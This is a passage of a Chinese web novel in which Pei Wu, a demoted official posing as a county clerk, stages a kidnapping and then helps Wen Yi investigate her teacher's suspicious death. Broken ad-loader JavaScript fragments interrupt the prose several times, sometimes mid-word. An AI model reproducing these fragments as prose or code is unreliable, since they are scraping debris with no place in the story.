听见他嚣张的话,裴误顺势把温以挡在身后,忍不住挑了挑眉,一脸刮目相看地看着他。 老天爷! 认清楚人的周肆简直如雷灌顶,回过神来狠狠瞪了一眼身边打探消息的小厮。 这都探听的什么消息,坑害死他主子了! “这位兄台,我相信你本心并不坏,想必都是误会一场,不如你放了张员外,金盆洗手向善去吧。” 裴误弥勒佛般的发言简直让温以傻眼,难道这就是他所谓的妙计? “对对对!向善、向善……” 周肆听到裴误的话,忙不迭附和道。眼一转瞟见他眼神里的威胁,急忙转了话锋。 “向善是不可能的!” 裴误听到他的话,给了他一个赞赏的眼神,右手伸出两指做出刀剑戳刺的样子,又很快收回。 “既然这样,看……看剑?” 周肆拔出腰间的剑,冲上去就作势要跟裴误打。 裴误一手捂住温以的眼睛,以手象征性地拨开周肆的剑。 只听一声清脆的响声,周肆的剑应声落地,他丢下一句凶恶的“你给老子等着!”就逃命也似地带着手下人往下山处狂奔。 “……” 温以看着眼前空荡荡的场景和独自躺在原地的张员外,有种江湖梦都碎了的感觉。 她怎么觉得这绑架如此儿戏? 裴误指了指张员外,眼神示意她: 你不过去看看? 温以虽然心里觉得不对劲,却没工夫计较,她眼下只想把张伯安全带回府去。 她的亲人本就不多,她一个也不想失去。 见她什么都没问,裴误也不主动解释,沉默地随她回了府。 **** 入夜。 “咚咚——” 裴误刚手忙脚乱地将床帐装回去,就听见一阵敲门声。 “进。” 他将手上印出折痕的枕巾塞到被褥中,坐到了桌边。 温以此时已经换上一身在家中穿的素净简衫,看上去是刚从张员外房中出来,白皙精致的脸上写满了疲惫。 “我爹为什么还不醒?” 裴误想到她会来盘问她,却没想到她这么无防备地进了他的屋子,一开口问的竟是这个。 “你问我?” “你倒是对我没有一点防备。” 温以没理会他的调节气氛的调笑。 她当然不防备他,他要是有心害她,恐怕早在巷子里她就没了命。 她只是直直地盯着他的眼睛,一双乌眸里写满了担心。 “你肯定知道,我真的很担心,我爹为什么不醒。” “大夫根本说不出来,大半天了,路上颠簸着那么折腾他也没醒。” 她只要个答案。既然他无心害她,为什么要对老张下手,难道是老张的旧仇人? “会醒的,我保证,三日之内一定醒。” 裴误看她越来也奇怪的眼神,怕她脑补出什么奇怪的渊源,赶忙解释道。 傍 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 晚时周肆给他递了信,他只是把西域新来的迷香掺在了张员外砚台的墨里头。 那东西是这两年京城新来了迷晕人牙子那里不听话的姑娘的,根本无需解药。只是他心一狠下得多了些,张员外一时没有防备,为防万一昨日又喂了点,这才晕了那么久。 “你保证?” 裴误点点头。 其实温以根本没什么可以威胁他的,此时只能暂时选择相信他。 “你们,其实是一伙的吧?” 温以当时也许被唬住了还想不明白,回程路上颠簸了一个多时辰,要是还是想不明白,就是真蠢了。 “准确来说,应该是他们想跟我一伙儿。” 裴误从一开始就没想瞒她,若是瞒不好结了仇,才是弄巧成拙。 他要的是钱,是张员外心甘情愿的用钱给他堆出的政绩。 温以没继续问,只是看着他。她的目的并不是要知道什么秘密,相反,她只想要安稳。 可她想不通,他这一出自导自演到底是为了什么。 若说是为了取信于她和老张,此时他又为什么承认的如此快? “事情发展到如今,实在非在下所愿,都是阴差阳错所致。” “不过在下确实有事相求。” 裴误是想要和她说清楚,但无意浪费时间。既然已经放弃了让张员外和她“出意外”的办法,那么就开门见山地谈条件,也省得他留下一个隐患。 “郭家村前些日子出了山洪,我需要一笔银子安顿灾民。” 温以有些意外,郭家村有些远,她的确不知道山洪的事。 乍听这消息,她不禁心中一紧,麦花村就邻着郭家村,夫子婆家在麦香村,前些日子刚回乡探亲。 不知有没有被波及。 “山洪?可这是朝廷的事,再不济也是县太爷的事,与你何关?” 裴误坦然道: “县太爷所忧就是裴某所忧。” “你……你是县衙新来的师爷?”温以惊讶地问,语气却有几分笃定了。 裴误没想到她会这样想。不过他正好不想暴露真实身份,这样的说辞确实说得过去,也就顺着她的话,含糊答应过去。 “但县衙还打算帮扶一下郭家村的生活,这次需要的不是小数目,五千两白银,你可愿意出?” 这两日在府中住,他也算看出来这张员外格外疼宠温以这个养女,她点头,张员外那边自然简单许多。 “我答应。” 温以听到只要五千两银子,倒是爽快就答应了。 枉她之前担心半天惶惶以为要遭大难了,原来不过是五千两白银的事情,这钱即便不从张伯那里拿,她也给得起。 娘亲每年都给她不少银钱,她拿着这钱在镇上开了个酒楼,张伯帮着经营,生意很是不错。 这些年酒楼的盈利都是她自己收着,张伯不过问。这些利润和余下放在钱庄的钱,大致能凑上五千两。 裴误正意外她怎么答应的如此爽快,外面却传来门房慌慌张张的声音。 “小姐,小姐不好了,麦花村传了消息说王夫子在村里自尽了!” “恐怕……没办法继续教导小姐了。” 温以的脸上一瞬间褪去了所有血色,她强迫自己保持镇定,只觉得这话里处处是蹊跷。 裴误不防听到这样的变故,还未开口安慰她,忽然感到一双柔荑抓上他的衣袖。 “裴师爷,我夫子不可能自尽!” “我答应给县衙捐五千两,只求您陪我去一趟郭家村。” 久久没有听到他的回应,温以心中一片悲凉绝望,声音里浓浓地悲伤蔓延开来。 “我想要亲自为夫子找出真凶。” 可她知道她其实本就没有什么筹码和他谈条件。 失魂落魄地松开了抓着他袖子的手,却听到他语带安慰的声音在耳边响起。 “好,我们明日就出发。” 他说。 5. 一封绝笔信 马车一大清早就颠簸着出发了。 温以昨夜整夜守着张员外,一宿没合眼,直到天快要亮的时候张员外才终于醒过来。陪着张伯吃了碗面,又看着他睡下,她才放心地出门。 去村里的路不像府城里那么好,一路上石子沙土。温以轻轻靠着车壁,被摇晃得泛起一阵睡意,小鸡啄米般打着瞌睡。 裴误换了一身鸦青色直裰,端坐在她对面。他的视线从她眼下淡淡的青黑移开,也跟着闭目养神。 “吁!” 车夫忽然猛地停下,温以不受控制地往前栽倒,惊叫堵在喉咙里还没出口,就被一只温热的大手托住了额头,阻断了她往前栽下去的势头。 待她恢复平衡,裴误默默收回手。 “坐稳。” 方才托过她额头的手被他悄悄放到身后,裴误掀起车帘看到路旁厉声训斥孩童的妇人,又放下帘子看向她。 似乎意识到方才硬生生的二字有些像是说教,他又软下语气道: “方才是意外,孩童贪玩罢了” “接下来的路应当不会这样,你坐稳,还可再睡一会儿。” 温以的确困倦,但方才的变故已经让她瞬间清醒,心里还记挂着王夫子的事情,她也没了睡意。 “不用了,我不困。” 她悄悄捏了捏有些酸疼的脖子,试探地问。 “裴师爷,咱们在马车上左右无事。不如我跟你说说王夫子的事情吧。” 怕裴误拒绝,不等他回答,她就接着说起来。 “从我跟着爹到江南起,我就跟着王夫子读书识字。” 六岁之后,她跟着张伯来到江南。离开了京城,她才发现,没有娘亲的江南根本就不是她向往的江南。 跟着张伯住进一个比京城大多了的宅子里,她常常夜里不敢一个人睡,又倔强地不想让张伯知道,一个人窝在被窝里,打着哆嗦熬过一个又一个黑夜。 后来张伯说她长大了,应该学些东西,要给她请一个夫子。 王夫子是一个和娘亲很不一样的女子,她自信且坚定。温以第一次见到王夫子的时候,她刚刚成亲,她的脸上永远挂着笑意,那是一种一眼就能看出的幸福。 “刚到江南的时候,我开蒙晚,大字不识一个。我爹带着我出去谈生意,我就常被别家的公子小姐笑话。” “是夫子告诉我不识字并不丢人,读书是为了明理,若是只知道笑话别人的学问,这样不明理的人,识字也是徒劳。” 裴误看得出她对这位夫子的深厚感情,知她着急找出真凶,点点头,并不打断她的话。 “夫子教我读书识字,也教我女工厨艺,看出来我怕黑,有半年的日子都是夜里陪着我睡下了,才离开的。” “成婚十载,夫子一直没有身孕,后来好不容易生下一个孩子,却又天生不足夭折了。后来夫子的丈夫也去世了,夫子就一直一个人生活。” “裴师爷。” 温以忽然看向他,神色认真地问: “你说一个经历过如此多磨砺坎坷的人,真的会无缘无故地自尽吗?” “我不信。” 她的声音不大,但很坚定。 裴误伸手往怀中探了探,捏着柔软的帕角,还是没有递给她。 因为他看到了姑娘怀恋的眼神和眼角的泪,但他同样看到了她侧头避开他视线的动作。 “我也不信,但我们需要证据。” 裴误的声线其实很温柔,他只要软下些语气,就卸下了所有的攻击力,却能用轻飘飘的一句话,敲碎人的心防。 他关注的一直都是真相。如果真如她所说,王夫子的死另有蹊跷,那不论是为了他一直的追求,还是为了他父母官的政绩,他都会尽力找出真相。 温以低低地应道: “嗯,我们去找证据。” 她脑中乱糟糟地都是夫子的笑,直到马车停下,才从绵延的回忆中脱身。 二人下了马车,就直奔王夫子夫家去。 裴无跟在温以身后两步,回想她在马车上说的,知她对夫子十分依赖信任,却还是忍不住问: “你说王夫子教你读书识字,还教你女工厨艺。” “你有没有想过,她身怀如此技艺,为何身在市井,嫁到一个如此平凡的人家?” 温以听他问起这个,难得地笑了,带着两分狡黠地回道: “说漏了,王夫子曾是官家小姐的贴身婢女,这些都是跟着小姐学的,只不过后来年纪到了就放出府了。” “她会的可多了,可惜她最喜爱的制香我一直都没有兴趣,一点也没学会。” 她房中燃的香大多是夫子制的,也不知剩下的往后还能用上几回。 裴误了然地点点头,没再追问。 他没说出口的是,京城中有资格跟主子一起学习这些的丫鬟,几乎是绝不可能放出去婚配的。这种程度的心腹,不是长伴主子,便只有死路一条。 王夫子夫家姓李,二人还没走到李家门口,便听到一个尖利的女声叫骂个不停。 “老东西别给老娘装,谁知道你私底下补贴了多少给老二家的!” “我可告诉你,现在老二死了,他媳妇儿也死了,只有我们夫妻俩能给你送终。”女人嗤笑一声,接着道,“你可别巴结错了人,以后都没处后悔去!” 车夫上前去叩门,里头的叫骂声一停,不一会儿,门吱呀一声打开。 “几位是?” 开门的是个中年妇人,应当就是王夫子的嫂子杨氏。 温以正要开口,裴误动了半步将她拦在身后,笑得温和。 “我家妹妹是王夫子的学生,听说王夫子……唉” “特地赶过来看看。” 王夫子教了温以这么多年,杨氏也是认得温以的。待看清裴误身后的姑娘正是温以后,便连忙招呼起来。 “温小姐来来来,快进屋坐,这都快年关了,外头冷着呢!” 杨氏说罢就要拉着温以的手把她往屋里带。 方才她提起夫子是何态度,温以听得一清二楚,对她的亲近,下意识地就想躲开。 杨氏的手还没碰到温以的手腕,就被另一只骨节分明地手抢了先。 “妹妹前不久刚刚病愈,这会儿的确吹不得风。那就多谢杨婶子了。” 裴误虚虚拉着温以的手腕,面上一派谦和有礼。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 杨氏的手讪讪地缩了回去,带着几人进屋,偷着打量了裴误几眼。 这书生剑眉星目,一派读书人的儒雅气质,的确像是福贵人家的公子哥。但俊朗归俊朗,跟温以长得可一点也不像。 “温小姐,婶子之前好像没听弟妹说起过你有个哥哥呀?” 温以偷偷瞄了他一眼,见他不知什么时候又将折扇拿在手中把玩,全然没有要回答的意思,硬着头皮道: “这是我表哥,他家不住在江南,所以前几年都不曾见过。” 杨氏听是表哥,想到方才裴误拉着温以进来,看两人的眼神瞬间不同起来。 不过她也是个精明的,拆了给年节预备的瓜子、花生糖招呼两人。 “难为温小姐这么惦记我这弟妹,她若是泉下有知,定然也会很欣慰的。” 杨氏是个不冷场的主,哀叹起王夫子走的可惜。 “弟妹也真是想不开,眼瞅着你这么孝顺的徒弟都长大了,那些不幸的事儿都过去那么多年了,临了放不下。” 下人来报时说王夫子是在房中悬梁自尽的,温以看着杨氏在面前絮叨个不停,有心想要问些问题,却找不到话口。 “杨婶子,我夫子她…可曾留下过什么交代的话?” 想起王夫子就是死在了她新盖的那间偏屋里头,杨氏的表情眼见地僵硬了片刻。 “她留了一封信,我要不是拿去给村里读过书的小子看了,也不敢随便跟官老爷说她是自尽的呀。” 杨氏看明白了,这俩人根本就是来套话的,她只希望这茬儿赶紧过去,否则来年自家迎新妇,旁人再总提起些什么这宅子死过人的闲话。 “二位等等,我去拿信给你们。”不多时,杨氏就拿出一个空白的信封。 温以伸手接过,里头只有一张薄薄的信笺。 裴无拧着眉头随她一起看信,信上内容十分正常,就是妇人抱怨了一通命运不公,最后关怀了公婆哥嫂还有徒弟好好生活,不要为她的死伤怀云云。 视线挪到信的最后一个字,信纸小幅度地颤抖起来。 温以捏着信纸,指甲掐进指腹,指尖红白。她一字一句地看完整张纸的内容,整个人都开始颤抖。 “温以,怎么了?” 裴误见她状态不对劲,下一秒,还没来得及拽住她,眼睁睁地看着她捏着信纸跑出了李家。 “哎,温小姐?”杨氏也被她忽然的动作吓了一跳。 “杨婶子,她身体不适,我们改日再叨扰。” 裴误丢下一句话就急匆匆地跟了出去。 温以对麦花村并不熟悉,跑出了李家,她也不知道该去哪里,兜兜转转,在一棵光秃秃的槐树下坐了下来。 也许是自觉到了一个安全而无人知晓的角落,眼泪瞬间决堤,盈满眼眶。 等裴误找到她的时候,少女似乎是哭累了,靠着树干,双臂抱着弯起的腿,小心翼翼地拿着那张信笺,脸上还带着泪痕。 裴误扶着槐树,扫了扫树底的尘灰,学着她的样子在她身边坐下。 “为什么忽然哭了?” 温以听到他的声音,有些惊吓地转头,却落入他认真的眸中。 6. 一缕特别的香 “信笺上不是王夫子的笔迹?” 裴误皱眉问。她的字是王夫子教的,自然对王夫子的字迹最为了解。 温以胡乱抹了抹泪痕,摇头道: “不是,这就是夫子亲笔写的。” 正因如此,她才为这样不利的证据而心中一沉。 “那…你为何忽然哭了?” 裴误说不出在槐树下找到她的时候是什么感觉。也许是因为他和师长的关系都疏远守礼,他很难体会她此刻的痛苦。 温以沉默着伸手,白皙的指尖捏着单薄的信笺,在裴误面前轻晃了晃。 “你闻到了吗?” 裴误凝神分辨,鼻尖淡雅悠长的味道他十分熟悉,这是檀香的味道。 “这是檀香。” 温以收回信笺,垂眸看着信纸上的一笔一划,轻轻地应道: “可我夫子明明只用‘南朝遗梦’,合香的方式不同,‘南朝遗梦’的味道更为清冽幽长,还细闻还有丝丝桃花香。” “笔迹、语气,皆是夫子本人无疑,可这熏香的习惯绝不是我夫子的习惯。” “这绝不是夫子自愿写下的,她从不用檀香。” 她不敢想象她的夫子在那间小而昏暗的房间里经历了什么,又是如何被逼迫着一笔一字写下这些违心的“遗言”,最后在又在那根冰冷的白绫下如何痛苦地死去。 人证物证,如今样样指向了夫子是自尽,但凭她一人空口之言,夫子的习惯在证物面前显得如此单薄。 她能相信世道会还夫子一个真相吗? “所以我们更需要查到其他证据。”裴误冷静道。 温以抬头看向他,眸中复杂昏暗。 “律法能一命还一命吗?” “律法能,”裴误几乎没有任何迟疑地回答她,他的语气难得的冷冽而坚定,“只要有证据,律法便能。” “但你不能。” 少女几乎要陷落无边黑暗中,却被他清冽坚定的声音拉回现实,那些一闪而过的念头暂时地缩了头,藏在脚下的尘土中。 她努力想要在裴误的眼睛里找到丝毫的不信任,亦或是欺骗的意味,却只能看到他的笃定。 温以低头小心地按照折痕折好手中的信笺,泪水模糊了双眼,她的第一反应却是护着信笺。 不能让这信笺沾到泪痕。 “裴师爷,其实我本有机会救下夫子的。” “这都是我的错。” 她只要会想起最后一次见到夫子的情形,眼泪就像断了线的珠串,无法自控。 那天夫子送给她一批新制的“南朝遗梦”,打趣说她长大了,自己也老了,以后怕是制不动如此多的香了。 “安娘定下人家的时候燃一支,成亲时候燃一支,怀胎时候就别点了,夫子怕你睡不好。” 王夫子还是那样温柔,岁月只是在她的脸上添了几道不易察觉的细纹,其余的却好像一如当年第一次见到她时。 彼时温以对她话里的意味一无所觉,还抱着夫子的胳膊撒娇,不害臊地说自己往后的儿女还要用她制的香呢。 王夫子却只是笑着取笑她还是孩子脾气,今后得好好选个真心疼爱她的夫婿才行。 “那夫子替我掌掌眼?” “世事无常,夫子只怕来不及。” 那竟是夫子跟她说的最后一句话。 她也的确没来得及救回她的夫子。 夫子难得一次性给她制那么多香,加上那些语焉不详的话。 倘若她对夫子的话多些猜测上心,倘若她没有因为张伯的事情让夫子多在老家住几日,也许一切都不会发生。 裴误看着她哭红的眼眶,抿唇一瞬,忽然不知道该说什么。年少状元,诗文双绝,他此刻头一回感受到了何为嘴拙。 若说要追责到王夫子多住在李家的这几日,那他没有看住周肆那小子闹出绑架的荒唐事,也难逃责任。 裴误踌躇了片刻,还是干巴巴道: “夫子应当也不喜欢看你哭的。” 那张在马车上没能递出去的帕子最终还是被递到了少女面前。 眼前那张帕子素净的纯白,料子绵软针脚细密,却没有任何绣纹。就像裴误此人。 温以接过他手中的帕子,脸上还挂着泪珠,却突然笑了。 “你怎么又知道了?” “我八岁那年跟夫子说我想要当女侠,她跟我说的第一句话就是:女侠可不爱哭鼻子哦。” 裴误起身的动作顿了顿,把折扇系回腰侧,朝她伸出手。 “那女侠,你可别再哭鼻子了。” “荒郊野岭的,旁人看到你哭成这样,裴某十张嘴也该说不清了。” 他话里带着明显的笑意。 温以哭了很久,知道自己定然一副狼狈样子,她报复似地用他的帕子好好擦了擦脸,才伸手握住他白皙的手,借力起身。 松手时,他指尖和虎口的薄茧划过手心,勾起丝丝后知后觉的痒意。 自责与悔意平静下来,她有些后悔自己刚刚的幼稚与冲动。 “我刚才就这么跑出来了,也不好再借着拜访的名义回去了吧?” 裴误认同地点了点头,诚实道: “的确是。” 她唇角几不可见地沉了沉,方才还说要当女侠的姑娘其实一点也藏不住情绪。她的失落清晰地落入裴误的眼中。 “下回跟着官府的人一起来吧,这样查探也有名头。” 在张府时还知道求着他一起来,现在却忘了他“师爷”的身份了吗? 二人一前一后地朝原路走着,天近黄昏,就连阳光都带着丝丝的寒意。夕阳在背后把背影拉的长长的,温以轻轻应了一声,乖乖地跟在他身后。 她走在裴误后两步,踩在他影子的肩膀上,一步又一步。 也许就这样一步一步,真的能将真凶绳之以法呢? 她有些后悔方才那般粗鲁地对待他的帕子了,犹豫了片刻,还是小声说: “你的帕子,我回去洗干净再还给你吧。” 他忽然回过头,吓得她立马往后退了一步。 踩影子可比刚才幼稚多了,他还是别知道的好。她笨拙地掩藏着,不知道他是不是看出来了。 裴误沉默了一瞬,瞥见姑娘通红的耳朵,往回走了两步。 “你走前面。” “哦。” 温以只以为他看见了自己踩影子的举动,不敢争辩什么,加快脚步走到他前面。 不知是不是她的错觉,只觉得寒风被他挡了大半。 微凉的指尖被她放到颊侧取暖,渐渐暖起来。 回城时兴许是天晚了些,马车赶得也比早上来时快上两分。 忙活了一日,二人一回府就各自梳洗回房了。 温以梳洗了一番,换了一身干净衣裳 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,强撑着精神去看刚醒来的张伯。 在门口整理了心情,她才扬起笑推门进去。 “爹,你饿不饿?” 张员外半靠在床头,见她进来,就招呼她在床边坐下。 “囡囡,你跟我就别装了。” “你每回老实叫我爹,都是心里头藏了事情。” 温以起身给张员外倒了杯水,撅着嘴把茶盏递给他。 “我不能喊你爹吗?” 张员外正是壮年,他气质儒雅,是镇上有名的儒商,虽然在外头生意上手段雷厉风行,但对温以一向是没脾气的。听温以不肯承认,只得叹了口气。 “囡囡,王夫子的事情不要再查了,官府的人自会管的。” “又是哪个多嘴的说的?” 温以柳眉倒竖,假意生气地扭头,把屋里眼观鼻鼻观心的丫鬟们个个打量了一遍,才讨好地解释道: “爹,我这回就是跟着官府的人去的,你放心,绝对安全。” “那也不行!” 张员外这次却那么好说话,直接了当地下了禁令。 “你哪里都不准去,就在府里待着。” 温以见说不动人,也有些气恼。明明张伯从前也是很欣赏王夫子的才情的,若不是如此,也不会特地选了她来当自己的夫子。这次事关夫子性命,为什么不让自己去查? 从小到大,张员外对她是要星星从不给月亮,除了关乎她安危的事情,几乎就没有不同意的。 “可是爹,我是跟着县衙里的师爷去的,他功夫也不错,我不会有事的。”似乎怕这些说服力不够,她还着急着补充道: “我还可以带上几个护院,有他们护着,您总该放心了吧?” 可是这回张员外却像铁了心似的,就是不肯松嘴。 “囡囡,你别怪爹,王夫子办丧仪的时候,爹一定陪着你去。” 温以坐在榻边,静静地看着张员外,蹙眉问道: “爹,你是不是知道些什么?” —— 夜凉如水,月光从窗棂上倾泻下。 裴误坐在窗侧低头处理伤口。 腰侧的伤已经愈合起来,伤处却还是疼痒。 手中的白瓷瓶已经见底,他掩上衣裳,低头想要用帕子擦一擦瓷瓶口,却摸了个空。 “主子,这是新的药。” 暗处的男子一身夜行衣,恭敬地递上一个和裴误手上一模一样的白瓷瓶。 裴误接过瓷瓶,随意地放在桌上。瓷瓶碰上桌面,传出一声清脆的响声。 “去查查那款香,“南朝遗梦”。” “重点查查这二十年来京中可有爱用这香的小姐。” “属下遵命。” 黑衣人拱手应声,接着就消失在暗处。 裴误合衣走到窗前,抬头看向天上那轮明月。今日月明,弯月挂在枝头,月光温柔,他脑中不由地想起温以靠在马车上打瞌睡的样子。 笑得眉眼弯弯地,也不知道是梦到了什么。 只可惜马车颠簸得太快,这笑容存在地太短。 合窗躺下,伤处却隐隐泛疼,痒意难忍,他却克制着不去触碰。 若是抓破了伤口,他也没有再养一次伤的时间。 辗转反侧,却始终无法睡着。 “谁?” 握上枕下的匕首,他凝神听着窗外的风。几息之后,又半松了手。 7. 一个颤动的桌角 窗前的月光暗下一角,窗外一个黑影佝偻着地扒拉着窗台。 窗门被推开半扇,窗后小心翼翼地伸出半只手。 “裴兄,是我是我!” 周肆接着探出半个脑袋,三下五除二翻身进了屋。他一身夜行衣,衣上却镶着金丝云纹,佩带上那颗半指大的松绿宝石一看就价值不菲,更别提他脑袋上那支束起高高马尾的上等白玉簪了。 裴误将匕首塞入怀中,侧身坐起,待看清他这一身打扮,又是一阵沉默。 “裴兄,前几日的事你得听我解释……” “你先说说你穿这身衣裳来是怎么想的。” 裴误打断了他的话,压根没给他滔滔不绝的机会。他要是再不多说两句,就这么任由他穿着这身衣服出去“夜行”,谁打劫谁还不一定呢。 “裴兄你说这衣裳啊!”周肆显然还没意识到有什么不妥,一双瑞风眼笑得如同弯月,剑眉半掩在额前的碎发后,“这是我出门前从家中特地带上的。” “这不,就派上用场了不是?” 他还像模像样地寻了块黑布蒙面,遮住了下半张脸,他黑而亮的眼中满是等待夸奖的欣喜,看得裴误扶额挪开了眼。 “谁让你来明河县的?” 窗扇半开,夜风吹到床畔,裴误只着中衣便有些寒冷,起身扯了外衫裹上。 “镇南王和王妃定然不会允许你来的。” 周肆没得到想象中的夸奖,反而被问中了死穴,恹恹地收起笑,一把拉下掩面的黑布,背对裴误坐了下来。 “反正他们就是同意了嘛。” 他的视线飘忽不定地跟着地上摇晃的树影来回转悠,心虚地摸上腰间的令牌,语气一副破罐子破摔的样子。 裴误看着他的背影轻摇了摇头,转眼间已穿戴妥当,在他对面坐下,难得耐心地劝说道: “你莫要让镇南王和王妃娘娘担心,还是快些回京城的好。” “他们才不会担心我!” 周肆着急地抢白道: “只要大哥在府里,根本没人会管我的。” “裴兄,”周肆语气消沉,“从小我就跟在你后头忙活,你中状元,我迎你御马游街;你去大理寺,我就跟着你混个侍卫长。” “现在你来了明河县,却把我一个人丢在京城,这又是什么道理?” 裴误敛眉轻叹,低头给他斟了一杯茶。 “阿肆,你是镇南王府的小公子,这里不是你该待的地方。” “何况我这是被贬,又不是出来游历,有什么好跟着的。” 他话里唏嘘,颇有些挖苦自己的意思。 周肆能有心跟着他来明河县,裴误心中说不感动那是假的,可是感动归感动,若是没人护着,这小子在市井里混着不出两日就能变成个穷光蛋。 “被贬那也是官,我不管,你得收留我。” 周肆打定主意赖在这不走了,转过身半趴在桌上,端是一副无赖做派。 “说来说去那不还是很怨你吗,裴兄你若是不抗旨,哪来的……” 抱怨的话被裴误骤然凌厉的眼神逼回了肚子里,周肆吞了吞口水,在心里接着吐槽起来: 只是要你去户部磨砺磨砺,将来也好接成国公的班,本就是顺理成章的事情,偏你要拗着来。 “阿肆,你知道什么该说什么不该说。” 想起圣上那道圣旨,裴误的语气骤然冰冷一瞬。 成国公府年轻一辈唯有他一个嫡子,又是少年状元,自然顺理成章地成为了世子。父亲母亲的期待他很清楚,可比起接户部的职,他更喜欢在大理寺破案追凶的日子。 他不会不知道,接着调任的圣旨,年后的万寿节上太后便会为他和丞相府的大小姐赐婚。 紧接着便是在户部不断地往上爬,成亲生子,教养下一位成国公府的继承人。 父亲母亲他们可以逼迫自己放弃从军,可以让当年那个宝贝地藏着弹弓的小男孩提笔一遍一遍地作文章,直到能够下场,一鸣惊人,却不能再让他放弃热爱的,去走一条早早规划的好的路了。 腰侧的伤口又是一阵痒意,裴误眸中结着冰冷的寒霜却没有丝毫颤动。 他决定的事,绝无改变的可能。 “裴兄。” 周肆被他的冷脸吓得闭嘴良久,才试探地扭头问。 “那我可以留下来了吧?” 赈灾银子、案件、整顿县衙的事情堆积在一起,现在又多了一个安顿这小子。 裴误揉着额角问他:“你留下来,又用什么说辞呢?” 周肆从他的语气里感受到了一丝松动,赶紧顺着杆子往上爬,厚着脸皮问: “我做你的亲卫?” 就知道这小子不着调。 “我一个小小县令,哪来的资格养亲卫,我是要造反不成?” 裴误转手悠悠给自己倒了杯茶,又将眼前的茶盏推给对面上蹿下跳的少年,才要开口,窗台外又闪过一丝黑影。 “有人。” 他冷声将周肆按到桌边蹲下,抬步要往窗台边去。 才迈出几步,就听到一声幼猫般轻弱的声音。 “裴师爷,是我,温以。” 怎的一个两个的都爱走他这窗台? 裴误回头看了一眼周肆,见他了然地点了点头,才放心地走到窗台边。 窗门大开着却没看到人,裴误侧身往窗台下一看,温以果然蹲在窗下,一双湿润的杏眼可怜巴巴地望着他。 “进来吧。” 裴误撇开视线,却听到她有些别扭地道: “你能不能拉一把我。” “我…我是腿蹲麻了,起不来。” 温以咬着唇忍住小腿处传来的阵阵抽痛,不好意思说自己这是蹲的抽筋了,只能忍着尴尬求助他。 被她琥珀般透亮的眸盯住,裴误心神一晃,伸出手规矩地在她小臂处使力扶了一把。 “你在这儿蹲了很久?”不知她听到了多少。 回想起周肆方才和自己的对话,他眸中渐暗。 “也不是吧。” 温以站直了身子,隔着衣裙悄悄揉着小腿,有些不好意思地辩解道: “我是猫着身子过来的,不是在这儿蹲久了才腿麻的。” 她久不动作,裴误以为她还是腿上没力气,翻不了窗,道了声得罪,伸手揽住她的腰,将人带到了屋中。 温以忽然被人“提”到屋内,樱唇微张,本就圆圆的杏眼瞪得更加圆润,琥珀色的眸子定定地看着面前穿着整齐的男人身上。 “你还没睡下吗?”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>裴误被她看的不自在起来,她这般懵懂地样子像极初生的幼猫,他的目光却不自觉地被她粉嫩的唇瓣吸引。 他轻咳一声,挪开视线,随意道: “我睡不着,便起来喝杯茶。” “倒是你,有何事非要大半夜地来寻我,还非得从窗台进来。” 夜深露重,她只穿着单薄的衣衫,在窗台外面时还忍不住被寒风吹得轻颤。想到这里,裴误皱眉取下一件外袍递给她。 “披上吧。” 温以听话地披上衣衫,轻车熟路地点起半盏床榻边的烛火,忍住没戳穿他大半夜黑灯瞎火喝茶的瞎话。 “我今日要是不来,明日就出不了府了。” 她极力克制,可是红彤彤的鼻头和隐隐的哭腔还是暴露了她方才哭过的事实。 “裴师爷,我爹他不让我继续查夫子的事情,咱们今夜就走。” “五千两我会给的,你就收留我在县衙住几日吧。我也不会白住,这些往后都会给钱的。” 温以自觉诚意满满,就差伸手指天发誓了,不由抬头期待地望向他。 姑娘披着他的外袍,袍角拖到地上,染上一片尘灰印子,一向爱洁的裴误却没有多说些什么。 “你先别着急,”他不忍拒绝她眼中的期盼,却不得不先搞清楚来龙去脉,“你可弄清了张员外为何不让你查?” “我还不知。” 温以失望地垂下头,叹着气坐到桌边,裴误的视线掠过她发顶,定格在她绣纹精致的绣鞋上。 她脚下踩着一片黑色镶金丝云纹的料子。 “你应当先跟张员外好好谈谈才是。” 裴误拉着她起身,见她挪开脚步,才松开了手。桌下瞬间伸出一只手将那片布料收回桌底。 “我当然有好好谈,可是我爹他根本就不愿意说!” 温以觉得她被冤枉了,她明明想要好好谈,是张员外不配合,甚至还打算把她囚禁起来,直到夫子的事情尘埃落定。 觉得裴误拉她拉得莫名其妙,她偏头鼓着腮帮子哼了一声,气呼呼地再次坐下。 裴误在她对面坐下,伸脚将另一片衣料踢到桌下,才深呼一口气开始继续斟茶。 周肆这小子,真是顾头不顾尾。 “你到底同不同意!” 温以看他不紧不慢地斟起茶,忍不住着急起来,心里没底,嘴上却还是催促着他。 “再不走就来不及了,青虹说我爹明日一大早就要派人来看住我。” 怕他不知道青虹是谁,她还贴心地解释道: “青虹是我的侍卫,总之她打听到的一定没错就是了。” 裴误不动声色地将桌上多余的杯子藏到袖中,斟完了茶,这才低头品起茶来。 他眉眼深邃,在摇曳的烛火下更显出鼻的英挺,浓眉星目,鸦黑长睫似乎沾了风露,清晰地落入温以眼中,她却始终看不清他眸中的情绪。 温以有些烦躁的挪动位置,想要正对着他要个答案,脚下却似乎踢到了什么柔软的东西,吓得她从凳子上弹起。踩到裴误过长的袍角,她还来不及惊呼出声,就再次落入一个微冷的怀中。 “那…那是什么东西?” 她指着颤动了一下的桌角,面露惊恐,脸色吓得煞白,求助地抬头望着他。 8. 一道模糊的人影 “唉,你这小女娘,你骂谁是东西呢?” 桌下传来少年满肚子气的质问声,他的话音刚落,桌角就紧接着传来一声闷响。 “嘶——”周肆一脑袋撞上桌板,疼的直抽冷气。 温以被忽然冒出来的声音吓了一跳,下意识地往裴误怀中瑟缩了一瞬,才惊讶地将视线移向桌几那片被掀开一角的垫布。 一身“夜行衣”的周肆从桌底钻出来,抽着冷气伸手捂向脑后,他似抬头想要接着说什么,视线触及裴误冰冷的目光,又讪讪地低下了头。 “这是……?” 周肆低下头,下半张脸隐入灯火触及不到的暗区,眉眼落入温以眼中,她忽然觉得面前的少年有些眼熟。 